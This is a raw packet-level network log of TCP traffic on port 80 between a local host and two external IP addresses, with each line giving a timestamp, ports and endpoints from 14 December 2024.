Dec 14, 2024 14:56:19.083657980 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.083712101 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:19.083762884 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.083811045 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:19.084820032 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.084871054 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:19.084953070 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.085000038 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:19.086075068 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.086124897 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:19.086194992 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.086244106 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:19.087239981 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.087352037 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.087398052 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:19.088403940 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.088526964 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.088579893 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:19.089627981 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.089677095 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:19.089699984 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.090799093 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.090850115 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:19.090941906 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.091995001 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.092047930 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:19.092086077 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.092132092 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:19.093154907 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.093249083 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.093300104 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:19.094381094 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.094430923 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:19.094510078 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.094563961 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:19.095557928 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.095607042 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:19.095643044 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.095690966 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:19.096740961 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.096791029 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:19.096920967 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.096968889 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:19.097913027 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.097959995 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:19.098030090 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.098077059 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:19.099224091 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.099232912 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.099276066 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:19.100362062 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.100414991 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:19.100904942 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.100954056 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:19.101988077 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.101999998 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.102046967 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:19.102834940 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.102844954 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.102889061 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:19.103918076 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.103966951 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:19.104147911 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.104197979 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:19.105238914 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.105251074 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.105293989 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:19.200427055 CET	80	49853	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:19.200437069 CET	80	49853	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:19.200717926 CET	49853	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:19.201787949 CET	49853	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:19.202114105 CET	49859	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:19.236428976 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.236438036 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.236474991 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.236618996 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:19.236618996 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:19.236651897 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.238090038 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:19.238189936 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.238199949 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.238245964 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:19.238637924 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.238691092 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:19.238727093 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.238775969 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:19.239720106 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.239772081 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:19.239780903 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.239831924 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:19.240899086 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.240952015 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:19.241036892 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.241086960 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:19.242122889 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.242173910 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:19.242491007 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.242583990 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:19.243351936 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.243403912 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:19.244043112 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.244096994 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:19.244736910 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.244748116 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.244795084 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:19.245765924 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.245775938 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.245820045 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:19.246850014 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.246901035 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:19.247168064 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.247216940 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:19.248265028 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.248275042 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.248320103 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:19.249572992 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.249582052 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.249628067 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:19.250421047 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.250653028 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.250705957 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:19.251741886 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.251751900 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.251792908 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:19.252770901 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.252823114 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:19.252969980 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.253020048 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:19.253993988 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.254069090 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:19.254547119 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.254678011 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:19.255283117 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.255291939 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.255338907 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:19.256345987 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.256433964 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:19.256592035 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.256639004 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:19.257778883 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.257788897 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.257852077 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:19.258872986 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.258883953 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.258936882 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:19.259897947 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.259963989 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:19.260030031 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.260092020 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:19.261261940 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.261271954 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.261317015 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:19.262384892 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.262437105 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:19.262480021 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.262538910 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:19.263597012 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.263662100 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:19.263684034 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.264729023 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.264746904 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.264780998 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:19.264816999 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:19.266426086 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.266436100 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.266478062 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:19.267090082 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.267148972 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:19.267271042 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.267319918 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:19.268593073 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.268601894 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.268646955 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:19.269429922 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.269480944 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:19.269547939 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.269650936 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:19.270978928 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.270992994 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.271039963 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:19.271841049 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.272037983 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.272090912 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:19.273169041 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.273179054 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.273221970 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:19.274473906 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.274527073 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:19.274568081 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.274616957 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:19.275552034 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.275598049 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.275603056 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:19.275635004 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:19.276604891 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.276654005 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:19.276721001 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.276770115 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:19.277787924 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.278328896 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.278393030 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:19.279061079 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.279072046 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.279122114 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:19.280483961 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.280500889 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.280539036 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:19.280570030 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:19.281467915 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.281481028 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.281523943 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:19.282655954 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.282665968 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.282707930 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:19.283695936 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.284284115 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.284332991 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:19.285136938 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.285145998 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.285193920 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:19.286201000 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.286247969 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:19.286328077 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.286555052 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:19.287269115 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.287322998 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:19.287358999 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.287406921 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:19.288485050 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.288537025 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:19.288609028 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.288732052 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:19.289623022 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.289675951 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:19.289711952 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.289764881 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:19.290819883 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.291093111 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:19.291162968 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.291209936 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:19.291966915 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.292016029 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:19.292083025 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.292157888 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:19.293442011 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.293452024 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.293492079 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:19.294404984 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.294452906 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:19.294528008 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.294579029 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:19.295609951 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.295658112 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:19.295690060 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.295742035 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:19.296875954 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.296885967 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.296926022 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:19.298111916 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.298121929 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.298163891 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:19.322577953 CET	80	49853	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:19.322587967 CET	80	49859	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:19.322676897 CET	49859	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:19.322721004 CET	49859	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:19.428421021 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.428710938 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:19.428903103 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.428966045 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:19.429332018 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.429342985 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.429393053 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:19.430445910 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.430455923 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.430504084 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:19.431355953 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.431408882 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:19.432682991 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.432693958 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.432735920 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:19.433151007 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.433161020 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.433203936 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:19.434214115 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.434264898 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:19.434777975 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.434834003 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:19.435904980 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.435955048 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:19.435978889 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.436027050 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:19.436861038 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.436911106 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:19.436974049 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.437026024 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:19.438069105 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.438118935 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:19.438179016 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.438226938 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:19.439059019 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.439069033 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.439110041 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:19.440179110 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.440190077 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.440231085 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:19.441396952 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.441407919 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.441448927 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:19.442722082 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.442732096 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.442740917 CET	80	49859	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:19.442771912 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:19.443574905 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.443628073 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:19.444645882 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.444698095 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:19.445478916 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.445489883 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.445533037 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:19.445970058 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.446021080 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:19.446074009 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.446130037 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:19.447307110 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.447321892 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.447364092 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:19.447364092 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:19.448369026 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.448416948 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:19.448698997 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.448748112 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:19.449769974 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.449780941 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.449820995 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:19.450824022 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.450834990 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.450876951 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:19.452054024 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:19.452111006 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:19.452131033 CET	80	49846	31.41.244.11	192.168.2.5
